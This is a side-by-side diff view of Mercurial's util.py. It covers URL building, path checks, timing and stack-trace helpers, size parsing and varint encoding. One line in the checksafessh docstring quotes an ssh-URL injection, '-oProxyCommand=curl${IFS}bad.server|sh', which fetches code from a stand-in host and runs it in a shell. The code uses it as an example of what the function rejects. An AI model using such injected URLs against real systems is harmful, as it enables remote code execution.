3171 | return s |
|
3170 | return s | |
3172 |
|
3171 | |||
3173 | s = self.scheme + b':' |
|
3172 | s = self.scheme + b':' | |
3174 | if self.user or self.passwd or self.host: |
|
3173 | if self.user or self.passwd or self.host: | |
3175 | s += b'//' |
|
3174 | s += b'//' | |
3176 | elif self.scheme and ( |
|
3175 | elif self.scheme and ( | |
3177 | not self.path |
|
3176 | not self.path | |
3178 | or self.path.startswith(b'/') |
|
3177 | or self.path.startswith(b'/') | |
3179 | or hasdriveletter(self.path) |
|
3178 | or hasdriveletter(self.path) | |
3180 | ): |
|
3179 | ): | |
3181 | s += b'//' |
|
3180 | s += b'//' | |
3182 | if hasdriveletter(self.path): |
|
3181 | if hasdriveletter(self.path): | |
3183 | s += b'/' |
|
3182 | s += b'/' | |
3184 | if self.user: |
|
3183 | if self.user: | |
3185 | s += urlreq.quote(self.user, safe=self._safechars) |
|
3184 | s += urlreq.quote(self.user, safe=self._safechars) | |
3186 | if self.passwd: |
|
3185 | if self.passwd: | |
3187 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
3186 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |
3188 | if self.user or self.passwd: |
|
3187 | if self.user or self.passwd: | |
3189 | s += b'@' |
|
3188 | s += b'@' | |
3190 | if self.host: |
|
3189 | if self.host: | |
3191 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
3190 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |
3192 | s += urlreq.quote(self.host) |
|
3191 | s += urlreq.quote(self.host) | |
3193 | else: |
|
3192 | else: | |
3194 | s += self.host |
|
3193 | s += self.host | |
3195 | if self.port: |
|
3194 | if self.port: | |
3196 | s += b':' + urlreq.quote(self.port) |
|
3195 | s += b':' + urlreq.quote(self.port) | |
3197 | if self.host: |
|
3196 | if self.host: | |
3198 | s += b'/' |
|
3197 | s += b'/' | |
3199 | if self.path: |
|
3198 | if self.path: | |
3200 | # TODO: similar to the query string, we should not unescape the |
|
3199 | # TODO: similar to the query string, we should not unescape the | |
3201 | # path when we store it, the path might contain '%2f' = '/', |
|
3200 | # path when we store it, the path might contain '%2f' = '/', | |
3202 | # which we should *not* escape. |
|
3201 | # which we should *not* escape. | |
3203 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
3202 | s += urlreq.quote(self.path, safe=self._safepchars) | |
3204 | if self.query: |
|
3203 | if self.query: | |
3205 | # we store the query in escaped form. |
|
3204 | # we store the query in escaped form. | |
3206 | s += b'?' + self.query |
|
3205 | s += b'?' + self.query | |
3207 | if self.fragment is not None: |
|
3206 | if self.fragment is not None: | |
3208 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
3207 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
3209 | return s |
|
3208 | return s | |
3210 |
|
3209 | |||
3211 | __str__ = encoding.strmethod(__bytes__) |
|
3210 | __str__ = encoding.strmethod(__bytes__) | |
3212 |
|
3211 | |||
3213 | def authinfo(self): |
|
3212 | def authinfo(self): | |
3214 | user, passwd = self.user, self.passwd |
|
3213 | user, passwd = self.user, self.passwd | |
3215 | try: |
|
3214 | try: | |
3216 | self.user, self.passwd = None, None |
|
3215 | self.user, self.passwd = None, None | |
3217 | s = bytes(self) |
|
3216 | s = bytes(self) | |
3218 | finally: |
|
3217 | finally: | |
3219 | self.user, self.passwd = user, passwd |
|
3218 | self.user, self.passwd = user, passwd | |
3220 | if not self.user: |
|
3219 | if not self.user: | |
3221 | return (s, None) |
|
3220 | return (s, None) | |
3222 | # authinfo[1] is passed to urllib2 password manager, and its |
|
3221 | # authinfo[1] is passed to urllib2 password manager, and its | |
3223 | # URIs must not contain credentials. The host is passed in the |
|
3222 | # URIs must not contain credentials. The host is passed in the | |
3224 | # URIs list because Python < 2.4.3 uses only that to search for |
|
3223 | # URIs list because Python < 2.4.3 uses only that to search for | |
3225 | # a password. |
|
3224 | # a password. | |
3226 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
3225 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |
3227 |
|
3226 | |||
3228 | def isabs(self): |
|
3227 | def isabs(self): | |
3229 | if self.scheme and self.scheme != b'file': |
|
3228 | if self.scheme and self.scheme != b'file': | |
3230 | return True # remote URL |
|
3229 | return True # remote URL | |
3231 | if hasdriveletter(self.path): |
|
3230 | if hasdriveletter(self.path): | |
3232 | return True # absolute for our purposes - can't be joined() |
|
3231 | return True # absolute for our purposes - can't be joined() | |
3233 | if self.path.startswith(br'\\'): |
|
3232 | if self.path.startswith(br'\\'): | |
3234 | return True # Windows UNC path |
|
3233 | return True # Windows UNC path | |
3235 | if self.path.startswith(b'/'): |
|
3234 | if self.path.startswith(b'/'): | |
3236 | return True # POSIX-style |
|
3235 | return True # POSIX-style | |
3237 | return False |
|
3236 | return False | |
3238 |
|
3237 | |||
3239 | def localpath(self): |
|
3238 | def localpath(self): | |
3240 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
3239 | if self.scheme == b'file' or self.scheme == b'bundle': | |
3241 | path = self.path or b'/' |
|
3240 | path = self.path or b'/' | |
3242 | # For Windows, we need to promote hosts containing drive |
|
3241 | # For Windows, we need to promote hosts containing drive | |
3243 | # letters to paths with drive letters. |
|
3242 | # letters to paths with drive letters. | |
3244 | if hasdriveletter(self._hostport): |
|
3243 | if hasdriveletter(self._hostport): | |
3245 | path = self._hostport + b'/' + self.path |
|
3244 | path = self._hostport + b'/' + self.path | |
3246 | elif ( |
|
3245 | elif ( | |
3247 | self.host is not None and self.path and not hasdriveletter(path) |
|
3246 | self.host is not None and self.path and not hasdriveletter(path) | |
3248 | ): |
|
3247 | ): | |
3249 | path = b'/' + path |
|
3248 | path = b'/' + path | |
3250 | return path |
|
3249 | return path | |
3251 | return self._origpath |
|
3250 | return self._origpath | |
3252 |
|
3251 | |||
3253 | def islocal(self): |
|
3252 | def islocal(self): | |
3254 | '''whether localpath will return something that posixfile can open''' |
|
3253 | '''whether localpath will return something that posixfile can open''' | |
3255 | return ( |
|
3254 | return ( | |
3256 | not self.scheme |
|
3255 | not self.scheme | |
3257 | or self.scheme == b'file' |
|
3256 | or self.scheme == b'file' | |
3258 | or self.scheme == b'bundle' |
|
3257 | or self.scheme == b'bundle' | |
3259 | ) |
|
3258 | ) | |
3260 |
|
3259 | |||
3261 |
|
3260 | |||
3262 | def hasscheme(path): |
|
3261 | def hasscheme(path): | |
3263 | return bool(url(path).scheme) |
|
3262 | return bool(url(path).scheme) | |
3264 |
|
3263 | |||
3265 |
|
3264 | |||
3266 | def hasdriveletter(path): |
|
3265 | def hasdriveletter(path): | |
3267 | return path and path[1:2] == b':' and path[0:1].isalpha() |
|
3266 | return path and path[1:2] == b':' and path[0:1].isalpha() | |
3268 |
|
3267 | |||
3269 |
|
3268 | |||
3270 | def urllocalpath(path): |
|
3269 | def urllocalpath(path): | |
3271 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
3270 | return url(path, parsequery=False, parsefragment=False).localpath() | |
3272 |
|
3271 | |||
3273 |
|
3272 | |||
3274 | def checksafessh(path): |
|
3273 | def checksafessh(path): | |
3275 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
3274 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
3276 |
|
3275 | |||
3277 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
3276 | This is a sanity check for ssh urls. ssh will parse the first item as | |
3278 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
3277 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
3279 | Let's prevent these potentially exploited urls entirely and warn the |
|
3278 | Let's prevent these potentially exploited urls entirely and warn the | |
3280 | user. |
|
3279 | user. | |
3281 |
|
3280 | |||
3282 | Raises an error.Abort when the url is unsafe. |
|
3281 | Raises an error.Abort when the url is unsafe. | |
3283 | """ |
|
3282 | """ | |
3284 | path = urlreq.unquote(path) |
|
3283 | path = urlreq.unquote(path) | |
3285 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
3284 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |
3286 | raise error.Abort( |
|
3285 | raise error.Abort( | |
3287 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
3286 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |
3288 | ) |
|
3287 | ) | |
3289 |
|
3288 | |||
3290 |
|
3289 | |||
3291 | def hidepassword(u): |
|
3290 | def hidepassword(u): | |
3292 | '''hide user credential in a url string''' |
|
3291 | '''hide user credential in a url string''' | |
3293 | u = url(u) |
|
3292 | u = url(u) | |
3294 | if u.passwd: |
|
3293 | if u.passwd: | |
3295 | u.passwd = b'***' |
|
3294 | u.passwd = b'***' | |
3296 | return bytes(u) |
|
3295 | return bytes(u) | |
3297 |
|
3296 | |||
3298 |
|
3297 | |||
3299 | def removeauth(u): |
|
3298 | def removeauth(u): | |
3300 | '''remove all authentication information from a url string''' |
|
3299 | '''remove all authentication information from a url string''' | |
3301 | u = url(u) |
|
3300 | u = url(u) | |
3302 | u.user = u.passwd = None |
|
3301 | u.user = u.passwd = None | |
3303 | return bytes(u) |
|
3302 | return bytes(u) | |
3304 |
|
3303 | |||
3305 |
|
3304 | |||
3306 | timecount = unitcountfn( |
|
3305 | timecount = unitcountfn( | |
3307 | (1, 1e3, _(b'%.0f s')), |
|
3306 | (1, 1e3, _(b'%.0f s')), | |
3308 | (100, 1, _(b'%.1f s')), |
|
3307 | (100, 1, _(b'%.1f s')), | |
3309 | (10, 1, _(b'%.2f s')), |
|
3308 | (10, 1, _(b'%.2f s')), | |
3310 | (1, 1, _(b'%.3f s')), |
|
3309 | (1, 1, _(b'%.3f s')), | |
3311 | (100, 0.001, _(b'%.1f ms')), |
|
3310 | (100, 0.001, _(b'%.1f ms')), | |
3312 | (10, 0.001, _(b'%.2f ms')), |
|
3311 | (10, 0.001, _(b'%.2f ms')), | |
3313 | (1, 0.001, _(b'%.3f ms')), |
|
3312 | (1, 0.001, _(b'%.3f ms')), | |
3314 | (100, 0.000001, _(b'%.1f us')), |
|
3313 | (100, 0.000001, _(b'%.1f us')), | |
3315 | (10, 0.000001, _(b'%.2f us')), |
|
3314 | (10, 0.000001, _(b'%.2f us')), | |
3316 | (1, 0.000001, _(b'%.3f us')), |
|
3315 | (1, 0.000001, _(b'%.3f us')), | |
3317 | (100, 0.000000001, _(b'%.1f ns')), |
|
3316 | (100, 0.000000001, _(b'%.1f ns')), | |
3318 | (10, 0.000000001, _(b'%.2f ns')), |
|
3317 | (10, 0.000000001, _(b'%.2f ns')), | |
3319 | (1, 0.000000001, _(b'%.3f ns')), |
|
3318 | (1, 0.000000001, _(b'%.3f ns')), | |
3320 | ) |
|
3319 | ) | |
3321 |
|
3320 | |||
3322 |
|
3321 | |||
3323 | @attr.s |
|
3322 | @attr.s | |
3324 | class timedcmstats(object): |
|
3323 | class timedcmstats(object): | |
3325 | """Stats information produced by the timedcm context manager on entering.""" |
|
3324 | """Stats information produced by the timedcm context manager on entering.""" | |
3326 |
|
3325 | |||
3327 | # the starting value of the timer as a float (meaning and resulution is |
|
3326 | # the starting value of the timer as a float (meaning and resulution is | |
3328 | # platform dependent, see util.timer) |
|
3327 | # platform dependent, see util.timer) | |
3329 | start = attr.ib(default=attr.Factory(lambda: timer())) |
|
3328 | start = attr.ib(default=attr.Factory(lambda: timer())) | |
3330 | # the number of seconds as a floating point value; starts at 0, updated when |
|
3329 | # the number of seconds as a floating point value; starts at 0, updated when | |
3331 | # the context is exited. |
|
3330 | # the context is exited. | |
3332 | elapsed = attr.ib(default=0) |
|
3331 | elapsed = attr.ib(default=0) | |
3333 | # the number of nested timedcm context managers. |
|
3332 | # the number of nested timedcm context managers. | |
3334 | level = attr.ib(default=1) |
|
3333 | level = attr.ib(default=1) | |
3335 |
|
3334 | |||
3336 | def __bytes__(self): |
|
3335 | def __bytes__(self): | |
3337 | return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
|
3336 | return timecount(self.elapsed) if self.elapsed else b'<unknown>' | |
3338 |
|
3337 | |||
3339 | __str__ = encoding.strmethod(__bytes__) |
|
3338 | __str__ = encoding.strmethod(__bytes__) | |
3340 |
|
3339 | |||
3341 |
|
3340 | |||
3342 | @contextlib.contextmanager |
|
3341 | @contextlib.contextmanager | |
3343 | def timedcm(whencefmt, *whenceargs): |
|
3342 | def timedcm(whencefmt, *whenceargs): | |
3344 | """A context manager that produces timing information for a given context. |
|
3343 | """A context manager that produces timing information for a given context. | |
3345 |
|
3344 | |||
3346 | On entering a timedcmstats instance is produced. |
|
3345 | On entering a timedcmstats instance is produced. | |
3347 |
|
3346 | |||
3348 | This context manager is reentrant. |
|
3347 | This context manager is reentrant. | |
3349 |
|
3348 | |||
3350 | """ |
|
3349 | """ | |
3351 | # track nested context managers |
|
3350 | # track nested context managers | |
3352 | timedcm._nested += 1 |
|
3351 | timedcm._nested += 1 | |
3353 | timing_stats = timedcmstats(level=timedcm._nested) |
|
3352 | timing_stats = timedcmstats(level=timedcm._nested) | |
3354 | try: |
|
3353 | try: | |
3355 | with tracing.log(whencefmt, *whenceargs): |
|
3354 | with tracing.log(whencefmt, *whenceargs): | |
3356 | yield timing_stats |
|
3355 | yield timing_stats | |
3357 | finally: |
|
3356 | finally: | |
3358 | timing_stats.elapsed = timer() - timing_stats.start |
|
3357 | timing_stats.elapsed = timer() - timing_stats.start | |
3359 | timedcm._nested -= 1 |
|
3358 | timedcm._nested -= 1 | |
3360 |
|
3359 | |||
3361 |
|
3360 | |||
3362 | timedcm._nested = 0 |
|
3361 | timedcm._nested = 0 | |
3363 |
|
3362 | |||
3364 |
|
3363 | |||
3365 | def timed(func): |
|
3364 | def timed(func): | |
3366 | '''Report the execution time of a function call to stderr. |
|
3365 | '''Report the execution time of a function call to stderr. | |
3367 |
|
3366 | |||
3368 | During development, use as a decorator when you need to measure |
|
3367 | During development, use as a decorator when you need to measure | |
3369 | the cost of a function, e.g. as follows: |
|
3368 | the cost of a function, e.g. as follows: | |
3370 |
|
3369 | |||
3371 | @util.timed |
|
3370 | @util.timed | |
3372 | def foo(a, b, c): |
|
3371 | def foo(a, b, c): | |
3373 | pass |
|
3372 | pass | |
3374 | ''' |
|
3373 | ''' | |
3375 |
|
3374 | |||
3376 | def wrapper(*args, **kwargs): |
|
3375 | def wrapper(*args, **kwargs): | |
3377 | with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
|
3376 | with timedcm(pycompat.bytestr(func.__name__)) as time_stats: | |
3378 | result = func(*args, **kwargs) |
|
3377 | result = func(*args, **kwargs) | |
3379 | stderr = procutil.stderr |
|
3378 | stderr = procutil.stderr | |
3380 | stderr.write( |
|
3379 | stderr.write( | |
3381 | b'%s%s: %s\n' |
|
3380 | b'%s%s: %s\n' | |
3382 | % ( |
|
3381 | % ( | |
3383 | b' ' * time_stats.level * 2, |
|
3382 | b' ' * time_stats.level * 2, | |
3384 | pycompat.bytestr(func.__name__), |
|
3383 | pycompat.bytestr(func.__name__), | |
3385 | time_stats, |
|
3384 | time_stats, | |
3386 | ) |
|
3385 | ) | |
3387 | ) |
|
3386 | ) | |
3388 | return result |
|
3387 | return result | |
3389 |
|
3388 | |||
3390 | return wrapper |
|
3389 | return wrapper | |
3391 |
|
3390 | |||
3392 |
|
3391 | |||
3393 | _sizeunits = ( |
|
3392 | _sizeunits = ( | |
3394 | (b'm', 2 ** 20), |
|
3393 | (b'm', 2 ** 20), | |
3395 | (b'k', 2 ** 10), |
|
3394 | (b'k', 2 ** 10), | |
3396 | (b'g', 2 ** 30), |
|
3395 | (b'g', 2 ** 30), | |
3397 | (b'kb', 2 ** 10), |
|
3396 | (b'kb', 2 ** 10), | |
3398 | (b'mb', 2 ** 20), |
|
3397 | (b'mb', 2 ** 20), | |
3399 | (b'gb', 2 ** 30), |
|
3398 | (b'gb', 2 ** 30), | |
3400 | (b'b', 1), |
|
3399 | (b'b', 1), | |
3401 | ) |
|
3400 | ) | |
3402 |
|
3401 | |||
3403 |
|
3402 | |||
3404 | def sizetoint(s): |
|
3403 | def sizetoint(s): | |
3405 | '''Convert a space specifier to a byte count. |
|
3404 | '''Convert a space specifier to a byte count. | |
3406 |
|
3405 | |||
3407 | >>> sizetoint(b'30') |
|
3406 | >>> sizetoint(b'30') | |
3408 | 30 |
|
3407 | 30 | |
3409 | >>> sizetoint(b'2.2kb') |
|
3408 | >>> sizetoint(b'2.2kb') | |
3410 | 2252 |
|
3409 | 2252 | |
3411 | >>> sizetoint(b'6M') |
|
3410 | >>> sizetoint(b'6M') | |
3412 | 6291456 |
|
3411 | 6291456 | |
3413 | ''' |
|
3412 | ''' | |
3414 | t = s.strip().lower() |
|
3413 | t = s.strip().lower() | |
3415 | try: |
|
3414 | try: | |
3416 | for k, u in _sizeunits: |
|
3415 | for k, u in _sizeunits: | |
3417 | if t.endswith(k): |
|
3416 | if t.endswith(k): | |
3418 | return int(float(t[: -len(k)]) * u) |
|
3417 | return int(float(t[: -len(k)]) * u) | |
3419 | return int(t) |
|
3418 | return int(t) | |
3420 | except ValueError: |
|
3419 | except ValueError: | |
3421 | raise error.ParseError(_(b"couldn't parse size: %s") % s) |
|
3420 | raise error.ParseError(_(b"couldn't parse size: %s") % s) | |
3422 |
|
3421 | |||
3423 |
|
3422 | |||
3424 | class hooks(object): |
|
3423 | class hooks(object): | |
3425 | '''A collection of hook functions that can be used to extend a |
|
3424 | '''A collection of hook functions that can be used to extend a | |
3426 | function's behavior. Hooks are called in lexicographic order, |
|
3425 | function's behavior. Hooks are called in lexicographic order, | |
3427 | based on the names of their sources.''' |
|
3426 | based on the names of their sources.''' | |
3428 |
|
3427 | |||
3429 | def __init__(self): |
|
3428 | def __init__(self): | |
3430 | self._hooks = [] |
|
3429 | self._hooks = [] | |
3431 |
|
3430 | |||
3432 | def add(self, source, hook): |
|
3431 | def add(self, source, hook): | |
3433 | self._hooks.append((source, hook)) |
|
3432 | self._hooks.append((source, hook)) | |
3434 |
|
3433 | |||
3435 | def __call__(self, *args): |
|
3434 | def __call__(self, *args): | |
3436 | self._hooks.sort(key=lambda x: x[0]) |
|
3435 | self._hooks.sort(key=lambda x: x[0]) | |
3437 | results = [] |
|
3436 | results = [] | |
3438 | for source, hook in self._hooks: |
|
3437 | for source, hook in self._hooks: | |
3439 | results.append(hook(*args)) |
|
3438 | results.append(hook(*args)) | |
3440 | return results |
|
3439 | return results | |
3441 |
|
3440 | |||
3442 |
|
3441 | |||
3443 | def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
|
3442 | def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): | |
3444 | '''Yields lines for a nicely formatted stacktrace. |
|
3443 | '''Yields lines for a nicely formatted stacktrace. | |
3445 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3444 | Skips the 'skip' last entries, then return the last 'depth' entries. | |
3446 | Each file+linenumber is formatted according to fileline. |
|
3445 | Each file+linenumber is formatted according to fileline. | |
3447 | Each line is formatted according to line. |
|
3446 | Each line is formatted according to line. | |
3448 | If line is None, it yields: |
|
3447 | If line is None, it yields: | |
3449 | length of longest filepath+line number, |
|
3448 | length of longest filepath+line number, | |
3450 | filepath+linenumber, |
|
3449 | filepath+linenumber, | |
3451 | function |
|
3450 | function | |
3452 |
|
3451 | |||
3453 | Not be used in production code but very convenient while developing. |
|
3452 | Not be used in production code but very convenient while developing. | |
3454 | ''' |
|
3453 | ''' | |
3455 | entries = [ |
|
3454 | entries = [ | |
3456 | (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
|
3455 | (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) | |
3457 | for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
|
3456 | for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] | |
3458 | ][-depth:] |
|
3457 | ][-depth:] | |
3459 | if entries: |
|
3458 | if entries: | |
3460 | fnmax = max(len(entry[0]) for entry in entries) |
|
3459 | fnmax = max(len(entry[0]) for entry in entries) | |
3461 | for fnln, func in entries: |
|
3460 | for fnln, func in entries: | |
3462 | if line is None: |
|
3461 | if line is None: | |
3463 | yield (fnmax, fnln, func) |
|
3462 | yield (fnmax, fnln, func) | |
3464 | else: |
|
3463 | else: | |
3465 | yield line % (fnmax, fnln, func) |
|
3464 | yield line % (fnmax, fnln, func) | |
3466 |
|
3465 | |||
3467 |
|
3466 | |||
3468 | def debugstacktrace( |
|
3467 | def debugstacktrace( | |
3469 | msg=b'stacktrace', |
|
3468 | msg=b'stacktrace', | |
3470 | skip=0, |
|
3469 | skip=0, | |
3471 | f=procutil.stderr, |
|
3470 | f=procutil.stderr, | |
3472 | otherf=procutil.stdout, |
|
3471 | otherf=procutil.stdout, | |
3473 | depth=0, |
|
3472 | depth=0, | |
3474 | ): |
|
3473 | ): | |
3475 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3474 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. | |
3476 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3475 | Skips the 'skip' entries closest to the call, then show 'depth' entries. | |
3477 | By default it will flush stdout first. |
|
3476 | By default it will flush stdout first. | |
3478 | It can be used everywhere and intentionally does not require an ui object. |
|
3477 | It can be used everywhere and intentionally does not require an ui object. | |
3479 | Not be used in production code but very convenient while developing. |
|
3478 | Not be used in production code but very convenient while developing. | |
3480 | ''' |
|
3479 | ''' | |
3481 | if otherf: |
|
3480 | if otherf: | |
3482 | otherf.flush() |
|
3481 | otherf.flush() | |
3483 | f.write(b'%s at:\n' % msg.rstrip()) |
|
3482 | f.write(b'%s at:\n' % msg.rstrip()) | |
3484 | for line in getstackframes(skip + 1, depth=depth): |
|
3483 | for line in getstackframes(skip + 1, depth=depth): | |
3485 | f.write(line) |
|
3484 | f.write(line) | |
3486 | f.flush() |
|
3485 | f.flush() | |
3487 |
|
3486 | |||
3488 |
|
3487 | |||
3489 | # convenient shortcut |
|
3488 | # convenient shortcut | |
3490 | dst = debugstacktrace |
|
3489 | dst = debugstacktrace | |
3491 |
|
3490 | |||
3492 |
|
3491 | |||
3493 | def safename(f, tag, ctx, others=None): |
|
3492 | def safename(f, tag, ctx, others=None): | |
3494 | """ |
|
3493 | """ | |
3495 | Generate a name that it is safe to rename f to in the given context. |
|
3494 | Generate a name that it is safe to rename f to in the given context. | |
3496 |
|
3495 | |||
3497 | f: filename to rename |
|
3496 | f: filename to rename | |
3498 | tag: a string tag that will be included in the new name |
|
3497 | tag: a string tag that will be included in the new name | |
3499 | ctx: a context, in which the new name must not exist |
|
3498 | ctx: a context, in which the new name must not exist | |
3500 | others: a set of other filenames that the new name must not be in |
|
3499 | others: a set of other filenames that the new name must not be in | |
3501 |
|
3500 | |||
3502 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
3501 | Returns a file name of the form oldname~tag[~number] which does not exist | |
3503 | in the provided context and is not in the set of other names. |
|
3502 | in the provided context and is not in the set of other names. | |
3504 | """ |
|
3503 | """ | |
3505 | if others is None: |
|
3504 | if others is None: | |
3506 | others = set() |
|
3505 | others = set() | |
3507 |
|
3506 | |||
3508 | fn = b'%s~%s' % (f, tag) |
|
3507 | fn = b'%s~%s' % (f, tag) | |
3509 | if fn not in ctx and fn not in others: |
|
3508 | if fn not in ctx and fn not in others: | |
3510 | return fn |
|
3509 | return fn | |
3511 | for n in itertools.count(1): |
|
3510 | for n in itertools.count(1): | |
3512 | fn = b'%s~%s~%s' % (f, tag, n) |
|
3511 | fn = b'%s~%s~%s' % (f, tag, n) | |
3513 | if fn not in ctx and fn not in others: |
|
3512 | if fn not in ctx and fn not in others: | |
3514 | return fn |
|
3513 | return fn | |
3515 |
|
3514 | |||
3516 |
|
3515 | |||
3517 | def readexactly(stream, n): |
|
3516 | def readexactly(stream, n): | |
3518 | '''read n bytes from stream.read and abort if less was available''' |
|
3517 | '''read n bytes from stream.read and abort if less was available''' | |
3519 | s = stream.read(n) |
|
3518 | s = stream.read(n) | |
3520 | if len(s) < n: |
|
3519 | if len(s) < n: | |
3521 | raise error.Abort( |
|
3520 | raise error.Abort( | |
3522 | _(b"stream ended unexpectedly (got %d bytes, expected %d)") |
|
3521 | _(b"stream ended unexpectedly (got %d bytes, expected %d)") | |
3523 | % (len(s), n) |
|
3522 | % (len(s), n) | |
3524 | ) |
|
3523 | ) | |
3525 | return s |
|
3524 | return s | |
3526 |
|
3525 | |||
3527 |
|
3526 | |||
3528 | def uvarintencode(value): |
|
3527 | def uvarintencode(value): | |
3529 | """Encode an unsigned integer value to a varint. |
|
3528 | """Encode an unsigned integer value to a varint. | |
3530 |
|
3529 | |||
3531 | A varint is a variable length integer of 1 or more bytes. Each byte |
|
3530 | A varint is a variable length integer of 1 or more bytes. Each byte | |
3532 | except the last has the most significant bit set. The lower 7 bits of |
|
3531 | except the last has the most significant bit set. The lower 7 bits of | |
3533 | each byte store the 2's complement representation, least significant group |
|
3532 | each byte store the 2's complement representation, least significant group | |
3534 | first. |
|
3533 | first. | |
3535 |
|
3534 | |||
3536 | >>> uvarintencode(0) |
|
3535 | >>> uvarintencode(0) | |
3537 | '\\x00' |
|
3536 | '\\x00' | |
3538 | >>> uvarintencode(1) |
|
3537 | >>> uvarintencode(1) | |
3539 | '\\x01' |
|
3538 | '\\x01' | |
3540 | >>> uvarintencode(127) |
|
3539 | >>> uvarintencode(127) | |
3541 | '\\x7f' |
|
3540 | '\\x7f' | |
3542 | >>> uvarintencode(1337) |
|
3541 | >>> uvarintencode(1337) | |
3543 | '\\xb9\\n' |
|
3542 | '\\xb9\\n' | |
3544 | >>> uvarintencode(65536) |
|
3543 | >>> uvarintencode(65536) | |
3545 | '\\x80\\x80\\x04' |
|
3544 | '\\x80\\x80\\x04' | |
3546 | >>> uvarintencode(-1) |
|
3545 | >>> uvarintencode(-1) | |
3547 | Traceback (most recent call last): |
|
3546 | Traceback (most recent call last): | |
3548 | ... |
|
3547 | ... | |
3549 | ProgrammingError: negative value for uvarint: -1 |
|
3548 | ProgrammingError: negative value for uvarint: -1 | |
3550 | """ |
|
3549 | """ | |
3551 | if value < 0: |
|
3550 | if value < 0: | |
3552 | raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
|
3551 | raise error.ProgrammingError(b'negative value for uvarint: %d' % value) | |
3553 | bits = value & 0x7F |
|
3552 | bits = value & 0x7F | |
3554 | value >>= 7 |
|
3553 | value >>= 7 | |
3555 | bytes = [] |
|
3554 | bytes = [] | |
3556 | while value: |
|
3555 | while value: | |
3557 | bytes.append(pycompat.bytechr(0x80 | bits)) |
|
3556 | bytes.append(pycompat.bytechr(0x80 | bits)) | |
3558 | bits = value & 0x7F |
|
3557 | bits = value & 0x7F | |
3559 | value >>= 7 |
|
3558 | value >>= 7 | |
3560 | bytes.append(pycompat.bytechr(bits)) |
|
3559 | bytes.append(pycompat.bytechr(bits)) | |
3561 |
|
3560 | |||
3562 | return b''.join(bytes) |
|
3561 | return b''.join(bytes) | |
3563 |
|
3562 | |||
3564 |
|
3563 | |||
3565 | def uvarintdecodestream(fh): |
|
3564 | def uvarintdecodestream(fh): | |
3566 | """Decode an unsigned variable length integer from a stream. |
|
3565 | """Decode an unsigned variable length integer from a stream. | |
3567 |
|
3566 | |||
3568 | The passed argument is anything that has a ``.read(N)`` method. |
|
3567 | The passed argument is anything that has a ``.read(N)`` method. | |
3569 |
|
3568 | |||
3570 | >>> try: |
|
3569 | >>> try: | |
3571 | ... from StringIO import StringIO as BytesIO |
|
3570 | ... from StringIO import StringIO as BytesIO | |
3572 | ... except ImportError: |
|
3571 | ... except ImportError: | |
3573 | ... from io import BytesIO |
|
3572 | ... from io import BytesIO | |
3574 | >>> uvarintdecodestream(BytesIO(b'\\x00')) |
|
3573 | >>> uvarintdecodestream(BytesIO(b'\\x00')) | |
3575 | 0 |
|
3574 | 0 | |
3576 | >>> uvarintdecodestream(BytesIO(b'\\x01')) |
|
3575 | >>> uvarintdecodestream(BytesIO(b'\\x01')) | |
3577 | 1 |
|
3576 | 1 | |
3578 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
|
3577 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) | |
3579 | 127 |
|
3578 | 127 | |
3580 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
|
3579 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) | |
3581 | 1337 |
|
3580 | 1337 | |
3582 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
|
3581 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) | |
3583 | 65536 |
|
3582 | 65536 | |
3584 | >>> uvarintdecodestream(BytesIO(b'\\x80')) |
|
3583 | >>> uvarintdecodestream(BytesIO(b'\\x80')) | |
3585 | Traceback (most recent call last): |
|
3584 | Traceback (most recent call last): | |
3586 | ... |
|
3585 | ... | |
3587 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
|
3586 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) | |
3588 | """ |
|
3587 | """ | |
3589 | result = 0 |
|
3588 | result = 0 | |
3590 | shift = 0 |
|
3589 | shift = 0 | |
3591 | while True: |
|
3590 | while True: | |
3592 | byte = ord(readexactly(fh, 1)) |
|
3591 | byte = ord(readexactly(fh, 1)) | |
3593 | result |= (byte & 0x7F) << shift |
|
3592 | result |= (byte & 0x7F) << shift | |
3594 | if not (byte & 0x80): |
|
3593 | if not (byte & 0x80): | |
3595 | return result |
|
3594 | return result | |
3596 | shift += 7 |
|
3595 | shift += 7 |
